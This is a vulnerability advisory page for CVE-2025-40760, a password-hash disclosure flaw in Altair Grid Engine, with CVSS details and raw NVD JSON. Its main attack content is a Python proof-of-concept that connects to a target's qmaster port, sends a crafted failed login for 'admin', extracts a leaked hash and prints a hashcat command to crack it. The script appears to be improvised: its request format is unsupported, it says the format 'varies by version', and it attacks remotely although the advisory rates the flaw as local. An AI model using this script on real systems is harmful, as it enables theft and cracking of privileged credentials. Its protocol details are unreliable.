Security Vulnerability Report
中文
CVE-2025-40760 CVSS 5.5 MEDIUM

CVE-2025-40760

Published: 2025-11-11 21:15:38
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability has been identified in Altair Grid Engine (All versions < V2026.0.0). Affected products do not properly handle error messages and discloses sensitive password hash information when processing user authentication requests. This could allow a local attacker to extract password hashes for privileged accounts, which can then be subjected to offline brute-force attacks.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Altair Grid Engine < V2026.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-40760 PoC - Altair Grid Engine Password Hash Disclosure Note: This PoC demonstrates the vulnerability concept for authorized testing only. """ import socket import struct import hashlib def send_sge_request(sock, username, password): """Send authentication request to SGE qmaster""" # SGE authentication request format auth_request = bytearray() auth_request.extend(b'AUTH') # Request type auth_request.extend(struct.pack('>I', len(username))) auth_request.extend(username.encode('utf-8')) auth_request.extend(struct.pack('>I', len(password))) auth_request.extend(password.encode('utf-8')) sock.send(auth_request) return sock.recv(4096) def extract_hash_from_response(response): """Extract password hash from error response""" # The vulnerable response contains hash in error message if b'error' in response.lower(): # Parse hash from response (format varies by version) hash_start = response.find(b'hash:') if hash_start != -1: hash_data = response[hash_start:hash_start+64] return hash_data.decode('utf-8', errors='ignore') return None def exploit_cve_2025_40760(target_ip, target_port=6444): """ PoC for CVE-2025-40760: Altair Grid Engine Hash Disclosure """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) print(f'[*] Connected to {target_ip}:{target_port}') # Trigger authentication error to leak hash response = send_sge_request(sock, 'admin', 'wrongpassword') print(f'[*] Received response: {response.hex()}') # Extract hash from response password_hash = extract_hash_from_response(response) if password_hash: print(f'[+] Password hash extracted: {password_hash}') print(f'[+] Hash type: MD5/SHA1 (weak hashing algorithm)') print(f'[*] Use hashcat: hashcat -m 0 {password_hash} wordlist.txt') return password_hash else: print('[-] No hash found in response') return None except Exception as e: print(f'[-] Error: {e}') return None finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) exploit_cve_2025_40760(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40760", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:37.733", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Altair Grid Engine (All versions < V2026.0.0). Affected products do not properly handle error messages and discloses sensitive password hash information when processing user authentication requests.\r\nThis could allow a local attacker to extract password hashes for privileged accounts, which can then be subjected to offline brute-force attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-514895.html", "source": "[email protected]"}]}}